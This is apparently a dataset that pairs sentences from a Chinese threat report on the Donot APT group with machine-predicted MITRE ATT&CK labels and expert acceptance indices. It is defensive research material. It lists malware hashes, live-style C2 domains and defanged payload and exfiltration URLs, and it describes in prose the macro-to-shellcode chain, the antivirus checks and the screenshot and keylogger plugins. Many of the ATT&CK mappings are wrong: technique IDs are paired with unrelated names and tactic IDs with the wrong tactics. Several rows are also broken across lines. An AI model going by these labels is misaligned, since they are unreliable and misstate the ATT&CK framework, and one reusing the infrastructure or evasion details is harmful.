从总体来看 Donot 组织的攻击手法相对固定，攻击链中常用计划任务串联前后组件，不过该团伙也在拓展自己的攻击流程，无论是恶意组件的植入方式还是使用的组件类型，都更加多样化。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1053', 'technique': '计划任务'}]	1	[0]
若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。	[{'taid': 'TA0002', 'tactic': '发现', 'tid': 'T1547', 'technique': '安装后持久化'}]	1	[0]

MD5 **(宏文档)** **06adbb4ba31a52cc5c9258bf6d99812c** **d98e2d7c8e91a9d8e87abe744f6d43f9** **c839d8a01c97407526b3407022823c8a** **1c4fb7c41e7928bfb74784d910522771** **e1d235c95a7c06b1203048972cf179fa** **6de75b200652eefa4a6a3bb84da7f798** **0ec8911f9764ea7b254ea19cd171535e** **171c011571f94ea2f5c928bdf5d560dc** **79cff3bc3cbe51e1b3fecd131b949930** **dcac3a03c0c58b90cd4cbcc814d12847**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[0]
(DLL) **e46cd1c4b32355cad39b41ef3b66b659** **c231254ced08ca556bf35e587469628f** **5557b32672ee9ad6be20395d447a3e52** **3feb4de4375dcc3ffb4144e2fc61dd94** **4c0dadc4b6938dcc9ca8951d34cb2a09** **d30631ba67a28a6e4ab0c4e9584e26c2** **2abc60fa1e042612e723360ccd8220c6** **3c6ad03f0ab284350d8b0d3d4cf22196** **07a3c19bc67c5f44c888ce75d4147ecf** **d7e123fe7fb8a5f56ec9d89f7787340d** **20c581284cccadd8b6193c2e1c84a900** **5e464d04b35a83d28c4e26c06eec28f5** **9946df6c429b83009535dca8d1a5d321** **ee24afbe471b5e63b06a759fa0eba0cc** **7750cac1cab5e6fd9e5cadecbc3c51f6** **0844b582c202dca08083d04d10bdf36e**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[0]
(SFX) **4eaa63dd65fc699260306c743b46303b**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[0]

(EXE) **a84d7a5b8831d7494ee20b939e37e56f** **3b730afd4ed953a9031a3facf111a64e** **cf646416025a84c5ef25b99dc999da9d**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[0]
C2 **one.localsurfer.buzz** **orangevisitorss.buzz** **morphylogz.buzz** **crezdlack.buzz** **crushter.info** **monitoriing.buzz** **m.seasurfer.buzz** **bloggerboy.buzz** **sky.ydnmovers.buzz** **itygreyhound.buzz** **balancelogs.buzz** **mayosasa.buzz** **goldliney.buzz** **briefdeal.buzz** **repidyard.buzz** **salcomp.buzz** **grapehister.buzz** **orangeholister.buzz** **blogs.firelive.pics** **records.libutires.info**	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1090', 'technique': '代理'}]	1	[0]
balancelogs.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[0]
sky.ydnmovers.buzz	[{'taid': 'TA0011', 'tactic': '命令与控	1	[0]

	制', 'tid': 'T1091', 'technique': '域名前置'}]		
mayosasa.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[0]
orangeholister.buzz	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[0]
records.libutires.info	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[0]
forum.winidowtech.info	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1091', 'technique': '域名前置'}]	1	[0]
hxxp://one.localsurfer.buzz/jl60UwJBkaWEkCSS/MU3gLGSnHhfDHRnwhlILSB27KZaK2doaq8s9V5M2RIgpeaD8[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web 代理'}]	1	[0]
hxxp://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '	1	[0]

	数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]		
hxxp://morphylogz.buzz/lk3Elidq3fc2GGig/aFwrDmHliBWh62kZPVb4bmV0waydPv0WtgqM0QTte5iAFzF0[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[0]
hxxp://crezdlack.buzz/icsJOzJVtdTcGPB3/PT0w3akYLzLtd5AGs3PVEjMKJ1aO5xtfGvWbFmc4ubgXBvJO[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[0]
hxxp://crushter.info/m4k1doWVqrvvbjsc/AOg9AQ2SVeHsiL61tkS53q02NnMToZuOb8s5yUe8jEcBxAs0[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[0]
hxxp://monitoriing.buzz/3fHYKahOXhkVV3Uj/dqyWpAfXBcyQkTkzoamk25hn3cbTbeuhImfJO08uTOFCkhIa[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002', 'technique': '集成式Web代理'}]	1	[0]
hxxp://m.seasurfer.buzz/33lhGEeiVe57s8gY/nmEVLghL0B5dMtBiZMAgelVniuP4bVFETWfsZqQ2jZ1bMJYd[.ico|.png|.mp3|.mp4]	[{'taid': 'TA0013', 'tactic': '数据收集', 'tid': 'T1566.002',	1	[0]

	'technique': '集成式Web代理'}]		
hxxps://mayosasa.buzz/Testoresisty/kolimekatares	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[0]
hxxps://mayosasa.buzz/Testoresisty/bekolopexar	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[0]
hxxps://goldliney.buzz/Lomiapekaso/texadikkomanapel	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[0]
hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[0]
hxxps://sky.ydnmovers.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[0]
hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '	1	[0]

	身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]		
hxxps://itygreyhound.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[0]
hxxps://balancelogs.buzz/Kolpt523ytcserstrew/torel	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[0]
hxxps://balancelogs.buzz/Kolpt523ytcserstrew/meoko/P/sa	[{'taid': 'TA0004', 'tactic': '身份认证', 'tid': 'T1556.001', 'technique': '明文传输验证凭据'}]	1	[0]
hxxps://briefdeal.buzz/Treolekomana/recopereta	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[0]
hxxps://bloggerboy.buzz/zapterserty512wer/plekobakarester	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique	1	[0]

	': '密码猜测攻击'}]		
hxxps://bloggerboy.buzz/zapterserty512wer/xcvderioneytr	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1110', 'technique': '密码猜测攻击'}]	1	[0]
hxxps://briefdeal.buzz/Likorecasta/mikachar	[{'taid': 'TA0005', 'tactic': '凭证访问', 'tid': 'T1003.001', 'technique': '渗透继续访问利用用户名和密码'}]	1	[0]
hxxps://repidyard.buzz/Romexicarto/terokanama	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1078.004', 'technique': '计划任务'}]	1	[0]
hxxps://repidyard.buzz/xoexapolicreate/ertyprmekabiops	[{'taid': 'TA0003', 'tactic': '持久化', 'tid': 'T1078.004', 'technique': '计划任务'}]	1	[0]
hxxps://salcomp.buzz/Terolekaremos/romeosata	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[0]
hxxps://grapehister.buzz/DoPstRgh512nexcvv.php	[{'taid': 'TA0002', 'tactic': '执行', 'tid':	1	[0]

	'T1059.001', 'technique': '命令与脚本'}]		
hxxps://orangeholister.buzz/kolexretriya78ertdcxmega895200.php	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059', 'technique': '命令与控制台进程（Cmd）'}]	1	[0]
hxxps://blogs.firelive.pics/pooireoairoeeae/yuytetyur3544uyraif	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[0]
hxxps://blogs.firelive.pics/yureyuryquyey/dskjrhekjjkdhjrae	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[0]
hxxps://records.libutires.info/loproiaoroaspdrjro/reoriaweoprdpoi	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1218.010', 'technique': '数据隐藏（应用编码算法）'}]	1	[0]
hxxps://records.libutires.info/yryerewuaoirjljrq/bcalkrhwejkarje	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1218.010', 'technique': '数据隐藏（应用	1	[0]

	编码算法）'}]		
hxxps://forum.winidowtech.info/jkdegqgegcqegog/hfogrcgegdhpgdgeq	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[0]
hxxps://forum.winidowtech.info/jilmvldfhqohcqhog/ntbahoghbhcghqo	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.001', 'technique': '命令与脚本'}]	1	[0]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
该组织主要针对政府机构、国防军事部门以及商务领域重要人士实施网络间谍活动，受害者包括中国以及巴基斯坦、斯里兰卡等南亚地区国家。	[{'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T0418', 'technique': '搜索引擎识别'}]	1	[]
Donot 组织的攻击活动从去年年末就保持着较高的频率，这个趋势一直延续到今年	[{'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1065', 'technique': '计划任务'}]	1	[]
我们还捕获到该组织以克什米尔地区相关文档为诱饵的攻击样本[1]。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office文档Content_VBA'}]	1	[]

在对近期捕获的 **Donot** 样本进行梳理后，我们发现该组织的主要攻击流程仍保持着一贯的风格，但攻击者也在尝试不同的恶意代码植入手段，变换着攻击组件的代码细节，因此本文将对 **Donot** 组织近期攻击手法做一个简单的汇总。	[{'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1547', 'technique': 'ARP 欺骗'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1218', 'technique': '数字证书高级持久性'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1093', 'technique': 'DLL 劫持'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1112', 'technique': 'Regsvr32'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T1247',	7	[]

	'technique': '网络分享驱动器'}]		
Donot 常通过携带宏的文档执行 shellcode 下载后续 DLL 组件，进一步下载诸如木马插件管理器和木马插件的恶意 DLL。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1203', 'technique': '宏指令'}]	2	[]
在以克什米尔地区相关文档为诱饵的攻击样本中，攻击者则直接通过自解压 rar 压缩包投递下载器 DLL 组件。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1105', 'technique': '下载并执行'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压功能利用'}]	3	[]
此外，在某些攻击活动中，Donot 组织还使用 EXE 组件，借助宏文档直接释放压缩包，解压出其中的 EXE 组件下载后续。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_V	2	[0, 1]

	BA'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1105', 'technique': '下载并执行'}]		
Donot 使用的宏文档类样本其中部分文件信息如下表所示。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}]	1	[0]
从上面可以看出，xls 和 docx 类文档分别具有一致的创建时间，说明这些攻击样本可能基于相同的原始文档生成。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0001', 'tactic': '情报收集', 'tid': 'T1201', 'technique': '操作系统日志分析'}]	2	[]
VBA 代码以字母 ijl 大小写生成的名称对变量名和函数名进行混淆，调用 NtAllocateVirtualMemory 分配内存，通过 WideCharToMultiByte 函数将编码后的 shellcode 按照文档使用的字符编码方式进行解码，然后调用 EnumUILanguages 函数执行 shellcode。具体解码执行的 shellcode 根据系统位数而定。	[{'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204', 'technique': 'Office 文档 Content_VBA'}, {'taid': 'TA0002', 'tactic': '凭证访问', 'tid': 'T1134', 'technique': 'Office 程序集成'}]	2	[]

以 64 位版本的 shellcode 为例，首先进行自解密操作，解密方式为按字节取反再异或。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压功能利用'}]	1	[0]
调用 urlmon.dll 模块的 URLDownloadToCacheFileA 函数下载后续，后续 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]
获取的第二阶段 shellcode 首先按字节异或进行自解密，然后导入相关 API。调用 Wow64DisableWow64FsRedirection 关闭文件系统重定向。通过 GetLocalTime 获取系统时间，如果当前时间大于硬编码的日期则 shellcode 结束运行。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1027', 'technique': '自解压功能利用'}, {'taid': 'TA0003', 'tactic': '持久性', 'tid': 'T1112', 'technique': '带有自删除功能的恶意软件'}]	2	[0]
依次检查各个杀软驱动文件在"C:\Windows\System32\drivers"目录下是否存在。如果某个杀软驱动存在，则根据当前日期是否大于相应内置时间点决定给该杀软有关的标记变量赋值：小于等于该时间点赋值为 1，大于则为 2。	[{'taid': 'TA0005', 'tactic': '防御绕过', 'tid': 'T1144', 'technique': '驱动程序注入'}]	1	[]
无任何杀软的情况下，调用 URLDownloadToFileA 下载后续载荷，保存为当前用户 temp 目录下的 Unincored.dll 文件，即"%tmp%\Unincored.dll"。获取后续的 URL 为：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]

打开下载文件，将文件前 4 字节修改为"4D 5A 90 00"，修复 PE 文件头部。LoadLibraryA 加载该 DLL，GetProcAddress 获取指定导出函数地址（tripoliro），调用该导出函数。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1106', 'technique': '代码注入'}]	2	[]
在有杀软存在的情况下，如果相应标记变量为 2，则直接通过执行 int3 中断或者其他指令触发中断或异常，终止 shellcode 运行。如果标记变量为 1，某些杀软对应的 shellcode 执行情况与无杀软时一致；而在另一些杀软存在时，会加载 bcrypt.dll，将后续 shellcode 复制到 bcrypt.dll 映射的内存中执行。	[{'taid': 'TA0005', 'tactic': '防御绕过', 'tid': 'T1052', 'technique': '代码修改执行'}]	1	[]
宏代码启动的 32 位版本 shellcode 与 64 位基本一致，不过下载后续 shellcode 和 DLL 载荷的 URL 有所不同。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]
后续载荷类型 URL Shellcode http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA.ico DLL http://orangevisitorss.buzz/QcM8y7FsH12BUbxY/XNJxFhZdMSJzq1tRyF47ZXLIdqNGRqiHQQHL6DJIjI2IoxUA.mp3	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	1	[0]
该自解压文件使用文件夹图标进行伪装，运行后在 temp 目录下释放，通过 rundll32.exe 执行其中 DLL 组件的导出函数，并打开压缩包中包含 PDF 诱饵文档的文件夹"Kashmir"。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '诱饵', 'tid': 'T1204',	2	[]

	'technique': 'Office 文档 Content_VBA'}]		
以上面 SFX 样本植入的 DLL 组件攻击流程为例进行分析。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	1	[]
使用的下载器 DLL 信息如下。 文件名 dn2272iosUp.dll MD5 07a3c19bc67c5f44c888ce75d4147ecf 文件类型 pe32 dll 文件大小 296960 字节 编译时间 2023-01-10 14:16:06 UTC 下载器 DLL 一般有两个导出函数：其中一个导出函数通过设置计划任务启动另一个导出函数；而另一个导出函数则向 C2 服务器回传收集的主机信息，下载并执行作为插件管理器的 DLL 组件。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}]	2	[1]
SFX 文件调用 dn2272iosUp.dll 的导出函数 StTskloipy。该函数将 DLL 当前文件路径经 AES 加密后写入"C:\Users\[user]\AppData\Local\windin.txt"。如果该 DLL 在当前用户的 temp 目录中不存在，则复制到 temp 目录下。然后通过 COM 接口设置计划任务调用另一个导出函数 SDtuiopnhukm。	[{'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique	3	[0]

	': '下载基础设施'}]		
若下载成功，将 WingMndre.dll 保存在之前创建的 Nsget 目录下。删除导出函数 StTskloipy 执行时释放的 windin.txt 文件，设置计划任务调用 WingMndre.dll 的 StConectert 导出函数。因为该计划任务与运行导出函数 SDtuiopnhukm 时设置的计划任务同名（"OneDriveUpdaton"），相当于更改原计划任务的执行内容。	[{'taid': 'TA0002', 'tactic': '控制', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '下载基础设施'}]	3	[0, 2]
在 Nsget 目录下释放 Uwn.txt 文件，保存 AES 加密后的 victim id。然后通过 CreateProcessW 调用如下格式化字符串，删除当前 DLL 在磁盘上的文件。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1030', 'technique': '删除服务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}]	2	[1]
后续组件 WingMndre.dll 功能为插件管理器，基本信息如下。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	1	[]
导出函数 StConectert 首先调用的函数 sub_100112D0 主体部分是一个 while 循环，循环开始首先向 C2 服务器发送 victim id 作为信标消息。Victim id 从 Nsget 目录下的 Uwn.txt 中获取，如果该文件不存在则重新生成。值得注意的是，插件管理器解密 Uwn.txt 内容所使用的 AES 密钥与 iv 和	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071',	1	[0]

下载器组件相同，而发送信标消息时使用另一套 AES 密钥和 iv 加密 victim id。发送信标消息的 URL 为：	'technique': '命令与控制'}]		
如果获取到 C2 的响应消息则进行下一步操作，否则休眠 30s，进入下一次循环。响应消息用"|"分隔，每一部分表示针对某一插件组件（包括插件管理器自身）的具体操作。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1028', 'technique': '软件包执行'}, {'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	2	[]
格式与之前 Donot 的攻击活动[2]类似，不过这次响应消息没保存为磁盘文件，而是直接在内存中处理。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[]
下载的插件组件保存在"C:\Users\[user]\AppData\Local\Nsget\Updates"目录中，获取后续组件的 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
更新插件管理器时，释放的 alex.bat 也在 Updates 目录下，内容如下。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}, {'taid': 'TA0002',	3	[0, 1]

	'tactic': '持久性', 'tid': 'T1071', 'technique': '命令与控制'}]		
旧插件管理器在退出 while 循环后，同下载器 DLL 一样，会执行自删除操作。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1030', 'technique': '删除服务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1107', 'technique': '程序卸载'}]	2	[1]
从 WingMndre.dll 捕获到一个名为 SSrtuioUpd.dll 的插件，基本信息如下。	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1082', 'technique': '系统信息发现'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1055', 'technique': '进程注入'}]	2	[]
该插件的功能为截屏回传，主体功能在函数 sub_10006D10 中实现，	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1113', 'technique': '屏幕捕获'}]	1	[0]
然后将 srt 目录中 upr 文件数据回传到 C2 服务器，回传 URL 如下：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique	1	[0]

	': '命令与控制'}]		
以上两个样本功能一致，因此以 32 位版本为例进行说明。导出函数 Rfvgyrty 复制样本自身到创建的目录"C:\Users\[user]\AppData\Local\Logo"中，名称为 difg02rf.dll。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1059', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '恶意文件', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	2	[]
而另一个导出函数 rgbrgbbgr 会依次检查插件保存目录"C:\ProgramData\Winstom\Dnt"下是否存在 Kyingert.dll, tr2201dcv.dll, SSrtfgad.dll 三个插件，如果不存在则从 C2 服务器下载，然后调用插件 DLL 的 St 函数启动插件。获取插件的 URL 如下：	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1043', 'technique': '恶意软件远程命令执行'}, {'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	2	[1]
三个插件的功能分别如下：	[{'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1056', 'technique': '输入捕获'}, {'taid': 'TA0002', 'tactic': '收集信息', 'tid': 'T1002', 'technique': '数据发现'}, {'taid': 'TA0002', 'tactic': '	3	[0, 2]

	收集信息', 'tid': 'T1113', 'technique': '屏幕捕获'}]		
3 个插件回传信息的 URL 相同，如下所示：	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1071', 'technique': '命令与控制'}]	1	[0]
Donot 也在攻击活动中使用 EXE 组件作为下载器获取后续，近期出现的相关样本信息如下。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
宏文档 1（MD5: 171c011571f94ea2f5c928bdf5d560dc）的 VBA 使用大量注释填充，整理代码后，可以看到样本首先释放 pkhfg.bat，用于创建 3 个计划任务，为执行后续组件做铺垫。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1053', 'technique': '计划任务'}, {'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1171', 'technique': 'DLL 劫持'}]	2	[0]
接着再释放 tbreah.bat 文件，该文件负责从 dfer.cab 文件解压出下载器组件 dfer.exe。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1566', 'technique': '组件对象文件下载'}]	1	[]
宏文档 2 和 3 的 VBA 代码相似，因此以宏文档 2（MD5: 79cff3bc3cbe51e1b3fecd131b949930）为例进行说明。与之前不同，宏代码的执行时机从文档打开(Open)换成了关闭前(BeforeClose)。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1053', 'technique': '计划任务'}]	1	[]

释放压缩包 djkd.zip 后，直接在代码中解压缩，并将解压后的文件重命名为之前计划任务中设置的路径名 mnvc.exe，推测攻击者试图以这种修改后缀名的方式躲避杀软对解压文件的查杀。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1560', 'technique': 'ZIP 压缩文件'}]	1	[]
3 个宏文档释放的 EXE 组件代码基本一致，功能较为简单，作用是从 C2 下载两个后续组件，通过初值为 1 的全局变量控制组件下载顺序，其中的 bat 文件对应在上述 VBA 代码中设置计划任务的文件路径。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
下载路径 1	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
下载路径 2	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[0]
遗憾的是我们未能获取到上述攻击样本的后续，EXE 组件攻击活动与之前友商披露的 Donot 活动一致[3]。	[{'taid': 'TA0002', 'tactic': '传输', 'tid': 'T1105', 'technique': '远程文件拷贝'}]	1	[]
Donot 在 PE 类攻击组件中经常用各类加密方式对关键字符串加密，除了简单的按字节加减固定数值，单重 01 变换外，我们发现近期出现的 DLL 组件经常使用双重 01 变换和自定义多层加密隐藏关键字符串，并且有时还会使用两种加密方式对不同字符串进行处理。	[{'taid': 'TA0002', 'tactic': '防御漏洞', 'tid': 'T1027', 'technique': '自定义加密'}]	1	[0]
在这类加密方式中，字符串的 ASCII 码按字节转换为二进制形式，并以 01 字符串格式存在于样本中。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique	1	[]

	': '隐藏文件在另一个载体中'}]		
如果只经过一次这样的转换，就是单重 01 变换。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[]
在 2022 年底出现的 Donot 样本中，开始出现双重 01 变换，经过一轮转换得到的 01 字符串再以同样的方式进行转换，这意味着原始字符串的每个字符需要用 64 个字符长度的 01 字符串表示。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[]
采用这类加密方式的样本在恢复原始字符串时，会在 base64 解码和 AES 解密后，对解密数据再依次进行如下操作：（1）按字节减 1；（2）每相邻两字节交换位置；（3）字符串逆序。	[{'taid': 'TA0002', 'tactic': '数据防御', 'tid': 'T1555', 'technique': '隐藏文件在另一个载体中'}]	1	[]
从总体来看 Donot 组织的攻击手法相对固定，攻击链中常用计划任务串联前后组件，不过该团伙也在拓展自己的攻击流程，无论是恶意组件的植入方式还是使用的组件类型，都更加多样化。	[{'taid': 'TA0002', 'tactic': '持久性', 'tid': 'T1053', 'technique': '计划任务'}]	1	[0]
若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。	[{'taid': 'TA0002', 'tactic': '发现', 'tid': 'T1547', 'technique': '安装后持久化'}]	1	[]

MD5 **(宏文档)** **06adbb4ba31a52cc5c9258bf6d99812c** **d98e2d7c8e91a9d8e87abe744f6d43f9** **c839d8a01c97407526b3407022823c8a** **1c4fb7c41e7928bfb74784d910522771** **e1d235c95a7c06b1203048972cf179fa** **6de75b200652eefa4a6a3bb84da7f798** **0ec8911f9764ea7b254ea19cd171535e** **171c011571f94ea2f5c928bdf5d560dc** **79cff3bc3cbe51e1b3fecd131b949930** **dcac3a03c0c58b90cd4cbcc814d12847**	[{'taid': 'TA0040', 'tactic': '情报收集', 'tid': 'T1003', 'technique': '恶意软件 HASH 值检查'}]	1	[]
